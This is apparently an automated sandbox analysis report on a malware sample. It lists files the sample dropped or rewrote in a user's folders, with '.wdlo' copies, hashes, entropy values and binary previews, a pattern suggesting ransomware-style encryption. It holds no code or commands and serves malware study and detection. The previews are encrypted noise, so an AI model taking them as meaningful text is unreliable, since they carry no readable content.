........^?.1}...+........~...rtZ^..h..I....+...D.......qbG.K..-f.#...+?2.V."S.5...._..Bh\c...w\]Hlu.G.a..4...5C^..A.K...+].\;N..).K..1........x.1.a>:...#......o:...?.....v44+.B..#...!..\|UX.......H.q....%v.K/....D4. ..+k.8..mcO...<H<t..y.?.,.=A...S.

C:\Users\user\Desktop\ZGGKNSUKOP.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861478621856574
Encrypted:	false
SSDEEP:	24:zSTF99QGfLPT1o25n4SQzJ8KJw7KRtLI3PtaJVqmQ7MjuCikfwKxwG3zbD:zUZQCLdxKa7KRy3PtS4/Meaf3nD
MD5:	984646E150D615C219D942ECD9A680C0
SHA1:	B3C84EAAD5B53C961F9C77E25C91555ED9854E10
SHA-256:	606452D0B2BFE0CA72F3A59C3FB3C2415AED3AF7515930A95487D3CA32C71DA5
SHA-512:	EBC044FBFD415D4E6DD7A8C4B3E7672D111B28FC54A2A17DC714F5F2E263D2CC904751485E874E209B1DC0A4035A1A45601919C4F4607D43C37EB1013002BE30
Malicious:	false
Preview:	ZGGKN.t2.t./..P..\)k.Y...<.\..Bg(...)w...# .7.a.....&.._..s../_......+,.{..V&....7..]....c...Gg...Y.......q...~..0..y..Mn.?rG.0Au./t..~.6....f<,.....J.s...a.....B.M..~3.%<cu)...."UV!P>..O$.N../.\|...f.a...[...>..+.3v...t9oN......[$.z.i...Q.F....=.rC....8B....v..P.Q.z.5A>..O...:..;.....\......s....'.2.l...b;.e..P.m..^......s.....$@........_.t..0.A.Yn@./... ...H...5...B..z......O....^..fF.....xr..N.=m.z..X..h..0.y..4.O.ET..u.\|.i$&TJ.t^>...\|..........JGlQ..r..2A...,...-_&.7....6T.w....6.b.{..8...g1c...[r...F\|.=....ge\|H.+._.....H^..b.{.T...yP...Y.Y .u7k.,D....q.......O}(.O}}..&,.'_,/....~m.J}..5..U...\............p.,L>......(..x`....Sb,....>.6..IO.....u.g.ow@<.....<. ....zp...}2..8}..=..:-.a.wN} ........^?.1}...+........~...rtZ^..h..I....+...D.......qbG.K..-f.#...+?2.V."S.5...._..Bh\c...w\]Hlu.G.a..4...5C^..A.K...+].\;N..).K..1........x.1.a>:...#......o:...?.....v44+.B..#...!..\|UX.......H.q....%v.K/....D4. ..+k.8..mcO...<H<t..y.?.,.=A...S.

C:\Users\user\Documents\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86217814131256
Encrypted:	false
SSDEEP:	24:lKSCVGycxQeYFJ0tZ1aOGETXbR3KH0z8bwmyVpJuD8Onp3zbD:8b37eY2AOTbR3KUz8wQ863nD
MD5:	CCDC3EEEE8AFD72A49D106853122524E
SHA1:	11A3784813B717BD84E97E2B8DDF278977CEC146
SHA-256:	052DF5952C9C9C7A434DC189D60BBA2A73DC5001BD797284D97BD4D99C0B3430
SHA-512:	C21F5EAD7560288C9A5D1D83495B451856C08D081B8F0095858705DCAF70892A3EA25245F5D67649869E6EA64AE8AF3B52C9170DBA23E968FC05B25F6D1225B9
Malicious:	false
Preview:	BJZFP(Z....=.I.,...W..5..N.F#.QP...3.......s.8.eo....e.F.g..z&t.]..V.4T...-.Kd...&?pk..l.gX..?M.-....).d.u.+......{I..g`}...z.x....0.....}.G7.^.}.w.X..Rn..P....@...\.V.0.:1..-..._.....l.......Q9a... x!..".y.....Bw......2..7o8..2...@.<.TR...X.$a./...]pet.9.D.".=.....Tn...TxN...f..`S)...@..../.......+.../.......U.3.^P+1.o..X....yaB/..e..._.m.W.Q=.Z...;.e...t.8l....r.M...CzQ..\|.b.k..j@.!~a..l...:b..!....\|......O.......+_...Y_..1..~.J.....) ....Q>l.....h./.l.':.W.U.Y..4..5.8...h^.R...4.....r.....{.,%....._..1Q2.c....G.>q...#.=K$.]%]L...n....1..[.<.p...\~j.).1}'...?.KQ....9 ...+ ....q.R]]....2.Z2..h^Jw.R...%._.<.i?...{...k......}..lT.j_c!..-A...;.k_..(.+.h...v@>eX.....&.0...~.QS..n..?..Z..eS...j....&Z.?.]k_......M.\.........Z....Qn79.w...i.M.\'gxy....n.:..[MO...RF.K.-.....Q...f..C......l.>.............^.4q.0.......m*ES.}.N.A................l.y......wK.=F"X ,n..n]:XN....Df.yG.N.YJs^."....4.X...v...n...8.g."..........r-_..P...hk#]..p..4..Q.....

C:\Users\user\Documents\BJZFPPWAPT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86217814131256
Encrypted:	false
SSDEEP:	24:lKSCVGycxQeYFJ0tZ1aOGETXbR3KH0z8bwmyVpJuD8Onp3zbD:8b37eY2AOTbR3KUz8wQ863nD
MD5:	CCDC3EEEE8AFD72A49D106853122524E
SHA1:	11A3784813B717BD84E97E2B8DDF278977CEC146
SHA-256:	052DF5952C9C9C7A434DC189D60BBA2A73DC5001BD797284D97BD4D99C0B3430
SHA-512:	C21F5EAD7560288C9A5D1D83495B451856C08D081B8F0095858705DCAF70892A3EA25245F5D67649869E6EA64AE8AF3B52C9170DBA23E968FC05B25F6D1225B9
Malicious:	false
Preview:	BJZFP(Z....=.I.,...W..5..N.F#.QP...3.......s.8.eo....e.F.g..z&t.]..V.4T...-.Kd...&?pk..l.gX..?M.-....).d.u.+......{I..g`}...z.x....0.....}.G7.^.}.w.X..Rn..P....@...\.V.0.:1..-..._.....l.......Q9a... x!..".y.....Bw......2..7o8..2...@.<.TR...X.$a./...]pet.9.D.".=.....Tn...TxN...f..`S)...@..../.......+.../.......U.3.^P+1.o..X....yaB/..e..._.m.W.Q=.Z...;.e...t.8l....r.M...CzQ..\|.b.k..j@.!~a..l...:b..!....\|......O.......+_...Y_..1..~.J.....) ....Q>l.....h./.l.':.W.U.Y..4..5.8...h^.R...4.....r.....{.,%....._..1Q2.c....G.>q...#.=K$.]%]L...n....1..[.<.p...\~j.).1}'...?.KQ....9 ...+ ....q.R]]....2.Z2..h^Jw.R...%._.<.i?...{...k......}..lT.j_c!..-A...;.k_..(.+.h...v@>eX.....&.0...~.QS..n..?..Z..eS...j....&Z.?.]k_......M.\.........Z....Qn79.w...i.M.\'gxy....n.:..[MO...RF.K.-.....Q...f..C......l.>.............^.4q.0.......m*ES.}.N.A................l.y......wK.=F"X ,n..n]:XN....Df.yG.N.YJs^."....4.X...v...n...8.g."..........r-_..P...hk#]..p..4..Q.....

C:\Users\user\Documents\BJZFPPWAPT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8524546875762935
Encrypted:	false
SSDEEP:	24:YyvXtH73TpJJp3f+E5eicumeIQSBIZ+Wg+tIA0oMV4OCNHlD+x3zbD:YQ1pXJf+OIRQSemJAuuOilK3nD
MD5:	52CE90610248FB7959EF7162DD0691AA
SHA1:	92584A93E33F9B132A845063284636F76F929E38
SHA-256:	AD73F2880E0E6CAF6372365C6446DB3154C34DB2C3B9EEC0EF8DD49EB624E9A2
SHA-512:	47B185EAB983E164561640C824F2C46B6455C0D90DF183C36F0138D6990DEBC803F87405A2A361CE230C84588726B7253957E31706F1E010EAE83A857DCA103B
Malicious:	false
Preview:	BJZFP.nq..e.......yn#T.##..........5,...q;.}....sE.j..Ku......#.a'.9.k.1....4$sj.=...;.3....#.h........,.v/...8.F.....2..]7.zx.0...,...:./.3.m...@.....k.....Y.......$....Jf.2..Q.m\...@gUC.X.~.q...Y.hE@...+.:dM..H ...\|,.....<{..8....7@7G.yz."b.&j..e....}.....)'!k.G(..c/.m...,...s.....k..cj./..V":....0.....V...67t.\.s.#..>.e`.....}.mM..qp..g......&.......f..j..D..f.....U..4U...........UZ...#....M.X\.;..K...Z\|b.PI.#Y.....g.8^~...k....,l.[<!.....3....6.8:..`....Tm.R.K.H.6>je.V.EZpV...G.o....#.?.....w9~.L..^..`W..Z4j.IH.'.?....!w.(.s...k......z.s.....:#.;.Z...5C._m.tm).......G.. t5...WY.q....hYJ......!..a.....c.S.b.A=.u.s....Q\.....(.9....O{.q.b....3.....).n....%^....e.Bi.#4..J=.k.\E.L...p..D....=.?...............%:VE.e_s.~...XP..{m.d.5.....t..Vgr.s.I7.<.e.x/.....2.%0...M.......Z.l..x....q....XOaOM........HZ.sq..Mu.o.....7F.U...A....u.../9_?t.[d..~. ..$6..Be....}.O.....T..c<..E.V\B...7.xpt..M\|....j.Q.>..P.x\q.xm.\.`. ........a.Z...

C:\Users\user\Documents\BJZFPPWAPT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8524546875762935
Encrypted:	false
SSDEEP:	24:YyvXtH73TpJJp3f+E5eicumeIQSBIZ+Wg+tIA0oMV4OCNHlD+x3zbD:YQ1pXJf+OIRQSemJAuuOilK3nD
MD5:	52CE90610248FB7959EF7162DD0691AA
SHA1:	92584A93E33F9B132A845063284636F76F929E38
SHA-256:	AD73F2880E0E6CAF6372365C6446DB3154C34DB2C3B9EEC0EF8DD49EB624E9A2
SHA-512:	47B185EAB983E164561640C824F2C46B6455C0D90DF183C36F0138D6990DEBC803F87405A2A361CE230C84588726B7253957E31706F1E010EAE83A857DCA103B
Malicious:	false
Preview:	BJZFP.nq..e.......yn#T.##..........5,...q;.}....sE.j..Ku......#.a'.9.k.1....4$sj.=...;.3....#.h........,.v/...8.F.....2..]7.zx.0...,...:./.3.m...@.....k.....Y.......$....Jf.2..Q.m\...@gUC.X.~.q...Y.hE@...+.:dM..H ...\|,.....<{..8....7@7G.yz."b.&j..e....}.....)'!k.G(..c/.m...,...s.....k..cj./..V":....0.....V...67t.\.s.#..>.e`.....}.mM..qp..g......&.......f..j..D..f.....U..4U...........UZ...#....M.X\.;..K...Z\|b.PI.#Y.....g.8^~...k....,l.[<!.....3....6.8:..`....Tm.R.K.H.6>je.V.EZpV...G.o....#.?.....w9~.L..^..`W..Z4j.IH.'.?....!w.(.s...k......z.s.....:#.;.Z...5C._m.tm).......G.. t5...WY.q....hYJ......!..a.....c.S.b.A=.u.s....Q\.....(.9....O{.q.b....3.....).n....%^....e.Bi.#4..J=.k.\E.L...p..D....=.?...............%:VE.e_s.~...XP..{m.d.5.....t..Vgr.s.I7.<.e.x/.....2.%0...M.......Z.l..x....q....XOaOM........HZ.sq..Mu.o.....7F.U...A....u.../9_?t.[d..~. ..$6..Be....}.O.....T..c<..E.V\B...7.xpt..M\|....j.Q.>..P.x\q.xm.\.`. ........a.Z...

C:\Users\user\Documents\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860273212667047
Encrypted:	false
SSDEEP:	24:wIHMbp4bJY3//VUVuQp+zRvSidTeBtaA2WZW3Q8c3zbD:/MbpiI/VLQp+zlteBtaUZW3m3nD
MD5:	78AEFA796313FE146D0F65D464235894
SHA1:	056D668B06DA161F0F3BF13D3EA9451718E8C211
SHA-256:	9B913BF3A973B1273302F7760021D1F28D6C62490AAABE6C7A14AF4863B68967
SHA-512:	55F11F1F6B2DC6D77D9446711628EEAB7A83C0BF5450B60BF26859B9A6CE431805C7F61512B10F28E9096FE03EA19389B2F03118B51551007B60E0E1D3210306
Malicious:	false
Preview:	BJZFPQe.6.......w>.L../.j.}.T.....DT'...sy-.s@..ph+}~.3............]......b..S.g.rP.7.....9T..c.L.9..y\|b.....\|....(..].Zo.....`.p.....Tne..R...g.0...k..;.h7D.8.h.\|......~,....~.....L....L.66....sa...b...M...W..O.3...!...8^..w.....\|.u.:...Q<......t..&9..F...85..$s....n..ob..>.J.....r.....J\|N...}.s{...m....V.{:4...Z.;....4h-.k!.K........L8Y...U.5.@\nn.....1lD#...;..Odt..........1.../..a......X.A"..-..A.-.(..s)....b......'...m#.....}......+..IDS)Z.Y++..C.:.....QCP........%.bNwh)....\.~j..t....y.[.".L._.#.....d0...I...K.....3..S..<...L.o.......:.^....9a....iH..m.R.O....&..)p..aN...".B...&.g."8..Ep.s;.z.......r.G.....?.........%..\|...m..b.!,9....g..... .D.....SFq\X.7.w.?c...OC0i.D..4..j1..K...cr...;.K..O=........G..#O...bcT.#.J[..g..=f$.k.3 .0.m..3Ju...Ks.....H..X.=k.M5ZC....1......6,..=..R.<.....N.>C/s..X...._.$.JT ]....R...5...O.\......./.......BiU.(./.....1n......Y...=w.j>.k..c..5./.n.s.G..x\Z.............\|.:....;.+...^....n..

C:\Users\user\Documents\BJZFPPWAPT.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860273212667047
Encrypted:	false
SSDEEP:	24:wIHMbp4bJY3//VUVuQp+zRvSidTeBtaA2WZW3Q8c3zbD:/MbpiI/VLQp+zlteBtaUZW3m3nD
MD5:	78AEFA796313FE146D0F65D464235894
SHA1:	056D668B06DA161F0F3BF13D3EA9451718E8C211
SHA-256:	9B913BF3A973B1273302F7760021D1F28D6C62490AAABE6C7A14AF4863B68967
SHA-512:	55F11F1F6B2DC6D77D9446711628EEAB7A83C0BF5450B60BF26859B9A6CE431805C7F61512B10F28E9096FE03EA19389B2F03118B51551007B60E0E1D3210306
Malicious:	false
Preview:	BJZFPQe.6.......w>.L../.j.}.T.....DT'...sy-.s@..ph+}~.3............]......b..S.g.rP.7.....9T..c.L.9..y\|b.....\|....(..].Zo.....`.p.....Tne..R...g.0...k..;.h7D.8.h.\|......~,....~.....L....L.66....sa...b...M...W..O.3...!...8^..w.....\|.u.:...Q<......t..&9..F...85..$s....n..ob..>.J.....r.....J\|N...}.s{...m....V.{:4...Z.;....4h-.k!.K........L8Y...U.5.@\nn.....1lD#...;..Odt..........1.../..a......X.A"..-..A.-.(..s)....b......'...m#.....}......+..IDS)Z.Y++..C.:.....QCP........%.bNwh)....\.~j..t....y.[.".L._.#.....d0...I...K.....3..S..<...L.o.......:.^....9a....iH..m.R.O....&..)p..aN...".B...&.g."8..Ep.s;.z.......r.G.....?.........%..\|...m..b.!,9....g..... .D.....SFq\X.7.w.?c...OC0i.D..4..j1..K...cr...;.K..O=........G..#O...bcT.#.J[..g..=f$.k.3 .0.m..3Ju...Ks.....H..X.=k.M5ZC....1......6,..=..R.<.....N.>C/s..X...._.$.JT ]....R...5...O.\......./.......BiU.(./.....1n......Y...=w.j>.k..c..5./.n.s.G..x\Z.............\|.:....;.+...^....n..

C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838296366491284
Encrypted:	false
SSDEEP:	24:wM3qHxAo1zfYXcFS9nYWuecQm0ZW/a/mTmU+a4q3KZM+c6GYIoD9D3zbD:xOqo5fYMuYWzcQfqaVXaMZ9ll9D3nD
MD5:	B2C6ED4AEC7EEC75FB9785ECF079FC9A
SHA1:	D02A6592631EF77645B22DA42AA66F73D25E5946
SHA-256:	2458B986DA893E0403EFD08D9DF9E811313A2E5D4F6B3AFD10C4E86502ACE268
SHA-512:	C0D2F412314C94E9B4F1784091E4E6419FDC0DB4A12D0B527ABEECB3E0D75CF477B0120773D362E92C9BA5693AF07676CA7464211ADE3253B75AEDB35FF0A6AA
Malicious:	false
Preview:	BJZFP...PO.N)m...#.....\|......sk.....G..A..y....y..X...2..N..F.....87.n.#.....}x.3nT......(..c..\|.>..j.E).qJe.Q...\.2......-.l../..0.2X..))[.q}.P..Gw.).`:q...l......]z.ki.o...h.C..#:66.q...8....A.5h.y..gX..>.B=...i.f<87@K...p..M..........;[.t.1...O;..%H.!S..{..v.......@.......T..a..X....S`.B........[t.......+?...G.;....<.u\^...9..C`..P$.........^#~.~J....i.....I.Zy.h...f./...eJ..k...,..V).I....WD..-.....P ...@...v.r.%..u.Tw................../............p{$.........8..q.oQ.../.G.X.hPV.m...1."lrD.......&w-j.v SF@....G.Dl..N2....A....%{..^.f....ErtN.....QJ..n.....u.f{..dU.....b.0...<....h..2.c...1....V.....9.H.}].{..-#.R#.b..KZ.9X<t....N[...L.7.M..mq2"..Z.#n+r1.^.%r.&a..A8..(.X..vfa......su,.2..uX..._g..3q...].....}l+J...U2.....X.m...pN.T@..3.....w.V...&I. 4.re.O..;;3......8Gb.3.[.4.&.o9.,....M......7......>EF?..J.j........(F_~B.8.=c.q..CO.._. 1Qi?s.....~......P.).?.N......jLi.n.....v?.]A.....e....~b../...W......wQ..N...li.......7.5........v

C:\Users\user\Documents\BJZFPPWAPT\BJZFPPWAPT.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838296366491284
Encrypted:	false
SSDEEP:	24:wM3qHxAo1zfYXcFS9nYWuecQm0ZW/a/mTmU+a4q3KZM+c6GYIoD9D3zbD:xOqo5fYMuYWzcQfqaVXaMZ9ll9D3nD
MD5:	B2C6ED4AEC7EEC75FB9785ECF079FC9A
SHA1:	D02A6592631EF77645B22DA42AA66F73D25E5946
SHA-256:	2458B986DA893E0403EFD08D9DF9E811313A2E5D4F6B3AFD10C4E86502ACE268
SHA-512:	C0D2F412314C94E9B4F1784091E4E6419FDC0DB4A12D0B527ABEECB3E0D75CF477B0120773D362E92C9BA5693AF07676CA7464211ADE3253B75AEDB35FF0A6AA
Malicious:	false
Preview:	BJZFP...PO.N)m...#.....\|......sk.....G..A..y....y..X...2..N..F.....87.n.#.....}x.3nT......(..c..\|.>..j.E).qJe.Q...\.2......-.l../..0.2X..))[.q}.P..Gw.).`:q...l......]z.ki.o...h.C..#:66.q...8....A.5h.y..gX..>.B=...i.f<87@K...p..M..........;[.t.1...O;..%H.!S..{..v.......@.......T..a..X....S`.B........[t.......+?...G.;....<.u\^...9..C`..P$.........^#~.~J....i.....I.Zy.h...f./...eJ..k...,..V).I....WD..-.....P ...@...v.r.%..u.Tw................../............p{$.........8..q.oQ.../.G.X.hPV.m...1."lrD.......&w-j.v SF@....G.Dl..N2....A....%{..^.f....ErtN.....QJ..n.....u.f{..dU.....b.0...<....h..2.c...1....V.....9.H.}].{..-#.R#.b..KZ.9X<t....N[...L.7.M..mq2"..Z.#n+r1.^.%r.&a..A8..(.X..vfa......su,.2..uX..._g..3q...].....}l+J...U2.....X.m...pN.T@..3.....w.V...&I. 4.re.O..;;3......8Gb.3.[.4.&.o9.,....M......7......>EF?..J.j........(F_~B.8.=c.q..CO.._. 1Qi?s.....~......P.).?.N......jLi.n.....v?.]A.....e....~b../...W......wQ..N...li.......7.5........v

C:\Users\user\Documents\BJZFPPWAPT\GLTYDMDUST.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850816100095141
Encrypted:	false
SSDEEP:	24:yaIGHdVTcCBum+EvSjjAsIP5S9KDS1/Pko0OpH55TjtYZ3zsPjtvsx38ppsSbI3D:FHdMEvSnAs6S0IErIH55HtCesIVI3nD
MD5:	151A03945D966F95F397435984E5E167
SHA1:	FB812698188E84BCDFFE789A03E0C95883EC1F20
SHA-256:	47D5043226831094EA21EBF727EFA0A243B13723BB55CDA948AA7D3A8DE6D3A8
SHA-512:	288C3CFC1B66FE7AAED2F57CE203D84E36DADAF225676F712FF77CD0F77EA4F51D884FD4517302E54F5C4B335929FD1CC1D8A612968C7AA9BBF922FF6089573B
Malicious:	false
Preview:	GLTYD7..o!9A.8.6.Z\..o.e..v.m!.g........t%...$.wb.z.}.......^2.l.!.W4.?...yO..o.....j.....]....c..RK.D.W...J....(.K...8........X.....o,..r._"k...G.......S.gm.)K..yP.7.E..B9'`........~.Vl.s7..L......b.....T.qmO..o.....Bx..\|...r.T.T.N.7.._.5..$H..u.7.V.......9.VQ..W..3....W.H.7........\|...B.I=....Y....@.,.xc.[.@...K.........P...Nm...R...'.......EP.\.%t.L.7J.!fk.\|>g......hn.U.]..#.r.6............g.......Y..W.-...[?.D5.<{!Y......I...Un:..Bg...W"..IZ..z`...@m..7........(c.W.?.Rm.s.>...&..f.....8.a\U...".r..c...q.(.._....9..\|...s..+.s.... .....+N&a...J...u......p[P...r.w....J2O........U..#..x"x..r.........x..S..<.8-~2..CN. .;`=.5...T9..;...t......D98..u?.../(..d..%..H.X........r....E......CZ.z.c.e.D....B.~K.=j....Z....NB.RE.X\|...er.A..m.....h3..>..*X...i...;\.sK..X.\|.p.......1.l....=.X....-.X.....i..hFI.......\.jl..\$...\"..7]....;f.y..2.(....S.#.}.\~.:x...?l.+Z.j."M.w.[..m.XnB.?.X....5....}.3...#x{....$J.2{6..2......,7.X.q.L...../.b..

C:\Users\user\Documents\BJZFPPWAPT\GLTYDMDUST.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850816100095141
Encrypted:	false
SSDEEP:	24:yaIGHdVTcCBum+EvSjjAsIP5S9KDS1/Pko0OpH55TjtYZ3zsPjtvsx38ppsSbI3D:FHdMEvSnAs6S0IErIH55HtCesIVI3nD
MD5:	151A03945D966F95F397435984E5E167
SHA1:	FB812698188E84BCDFFE789A03E0C95883EC1F20
SHA-256:	47D5043226831094EA21EBF727EFA0A243B13723BB55CDA948AA7D3A8DE6D3A8
SHA-512:	288C3CFC1B66FE7AAED2F57CE203D84E36DADAF225676F712FF77CD0F77EA4F51D884FD4517302E54F5C4B335929FD1CC1D8A612968C7AA9BBF922FF6089573B
Malicious:	false
Preview:	GLTYD7..o!9A.8.6.Z\..o.e..v.m!.g........t%...$.wb.z.}.......^2.l.!.W4.?...yO..o.....j.....]....c..RK.D.W...J....(.K...8........X.....o,..r._"k...G.......S.gm.)K..yP.7.E..B9'`........~.Vl.s7..L......b.....T.qmO..o.....Bx..\|...r.T.T.N.7.._.5..$H..u.7.V.......9.VQ..W..3....W.H.7........\|...B.I=....Y....@.,.xc.[.@...K.........P...Nm...R...'.......EP.\.%t.L.7J.!fk.\|>g......hn.U.]..#.r.6............g.......Y..W.-...[?.D5.<{!Y......I...Un:..Bg...W"..IZ..z`...@m..7........(c.W.?.Rm.s.>...&..f.....8.a\U...".r..c...q.(.._....9..\|...s..+.s.... .....+N&a...J...u......p[P...r.w....J2O........U..#..x"x..r.........x..S..<.8-~2..CN. .;`=.5...T9..;...t......D98..u?.../(..d..%..H.X........r....E......CZ.z.c.e.D....B.~K.=j....Z....NB.RE.X\|...er.A..m.....h3..>..*X...i...;\.sK..X.\|.p.......1.l....=.X....-.X.....i..hFI.......\.jl..\$...\"..7]....;f.y..2.(....S.#.}.\~.:x...?l.+Z.j."M.w.[..m.XnB.?.X....5....}.3...#x{....$J.2{6..2......,7.X.q.L...../.b..

C:\Users\user\Documents\BJZFPPWAPT\HMPPSXQPQV.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8547464641220195
Encrypted:	false
SSDEEP:	24:9Y7scE6KtEuYBz6ZOxwJhV1NjOBr630AZlu+zezq5PlaqWZxSvwuP3zbD:ye6skBoIBm34+ezOlaxEP3nD
MD5:	83699E2CB0EC9B8F5422AE5FC75A98C2
SHA1:	884531DF74B9062DB14D80648CD187C6EF072F17
SHA-256:	8C9A7C9528191CA1014DE8CDFF79AC65CE84245DA8E98C896151A2ED76F6CC19
SHA-512:	CEDDA998A35680278C22EDCE1AFBA91206154BEDB520A0F98FA57E45DBF6E6F2E7A81FC5363C81F9D696DEA557B7F16FE652CCF44C6482ABE42E4B3DF7FBC67B
Malicious:	false
Preview:	HMPPS.Q\|\..w.i........<X.}U..R....b.&...a.JZ&...lUS..f2..Z.....).g..P}jy..V.k...?.......,Nw.t...P..`\|..+d..z/...D.x9..Q8..cM).U.K.'.....hf..Fg.O..U6N-.....q.....tn.z=\..C...m..m..0......8...9.?7Coh.s..ff..W...."..('m..K..vz...'...3jDg..P.5......ZE....'.a\|[v.ko}..Nv....\..;=...p8.R...........@DyI...3......v..Ah.6.h.FB...+.x0...2.F..X.>.k..]w]..5.0.}.....Y...{u[Tg....C..c.!.uV.Y..KL..zBgS.yHUw...D^A.(..q..8_.6.H.(."...5q#.......(.....W.%.....I%l..Lv.%.......?.2..0.H.Y..k....7N:.L..q..T.....u...q...uA..RRk..vj.r..0Z..D.c..T.9..0-....#.....=Y.p\'....h[..<..)Y~.,..A. ..?w....!6..xo.2.M@.....Ru..?..-...d#.@{....e..S.1.;.h.P<bM){.4........$Q....@.X.).u....$..k...C.jK6...3&...P..]X....?'.G...T.n.5b.o...X.>.3/]..[..)..5....D_.9..EG..3$ez...)..fT."`......V...".>BTE...qixi1..o..........R0m.q...m2.%.=<u.............2..L........m.U..c.R...F....:..U.kb.6...4.K..%i.N..5.a...#S..J...hf./E..y..........6.R..a.SD..<v.t.i...*.\|.....y.B.N..

C:\Users\user\Documents\BJZFPPWAPT\HMPPSXQPQV.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8547464641220195
Encrypted:	false
SSDEEP:	24:9Y7scE6KtEuYBz6ZOxwJhV1NjOBr630AZlu+zezq5PlaqWZxSvwuP3zbD:ye6skBoIBm34+ezOlaxEP3nD
MD5:	83699E2CB0EC9B8F5422AE5FC75A98C2
SHA1:	884531DF74B9062DB14D80648CD187C6EF072F17
SHA-256:	8C9A7C9528191CA1014DE8CDFF79AC65CE84245DA8E98C896151A2ED76F6CC19
SHA-512:	CEDDA998A35680278C22EDCE1AFBA91206154BEDB520A0F98FA57E45DBF6E6F2E7A81FC5363C81F9D696DEA557B7F16FE652CCF44C6482ABE42E4B3DF7FBC67B
Malicious:	false
Preview:	HMPPS.Q\|\..w.i........<X.}U..R....b.&...a.JZ&...lUS..f2..Z.....).g..P}jy..V.k...?.......,Nw.t...P..`\|..+d..z/...D.x9..Q8..cM).U.K.'.....hf..Fg.O..U6N-.....q.....tn.z=\..C...m..m..0......8...9.?7Coh.s..ff..W...."..('m..K..vz...'...3jDg..P.5......ZE....'.a\|[v.ko}..Nv....\..;=...p8.R...........@DyI...3......v..Ah.6.h.FB...+.x0...2.F..X.>.k..]w]..5.0.}.....Y...{u[Tg....C..c.!.uV.Y..KL..zBgS.yHUw...D^A.(..q..8_.6.H.(."...5q#.......(.....W.%.....I%l..Lv.%.......?.2..0.H.Y..k....7N:.L..q..T.....u...q...uA..RRk..vj.r..0Z..D.c..T.9..0-....#.....=Y.p\'....h[..<..)Y~.,..A. ..?w....!6..xo.2.M@.....Ru..?..-...d#.@{....e..S.1.;.h.P<bM){.4........$Q....@.X.).u....$..k...C.jK6...3&...P..]X....?'.G...T.n.5b.o...X.>.3/]..[..)..5....D_.9..EG..3$ez...)..fT."`......V...".>BTE...qixi1..o..........R0m.q...m2.%.=<u.............2..L........m.U..c.R...F....:..U.kb.6...4.K..%i.N..5.a...#S..J...hf./E..y..........6.R..a.SD..<v.t.i...*.\|.....y.B.N..

C:\Users\user\Documents\BJZFPPWAPT\KLIZUSIQEN.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849069302123022
Encrypted:	false
SSDEEP:	24:bv0jePIdQJveUZy9E2x5JrXH5vNj7ukRs1i3h2gFigvAwQ9igtPTU7RKL3zbD:QiPIIhkEm5JrXHDukB3h2gPvY/bU7RKP
MD5:	E3B37CDB5278F26615297C57204A40DE
SHA1:	F4F48B50A950F87CEC520B8265BFE188CBAA1B03
SHA-256:	E4A045F932B47EBB25A09A5A2D9E2685BF8CD3E18104C6CEC69B5B67F2D32D7C
SHA-512:	D6D34778F890F8A8DCCADC38800291DE70E7E73DDCBE4607BC4900CF19FB28D3E5FDFEB288B7CF69B8FD97DD47CAF72C682B21F326DF5E730256E2D20F981CD3
Malicious:	false
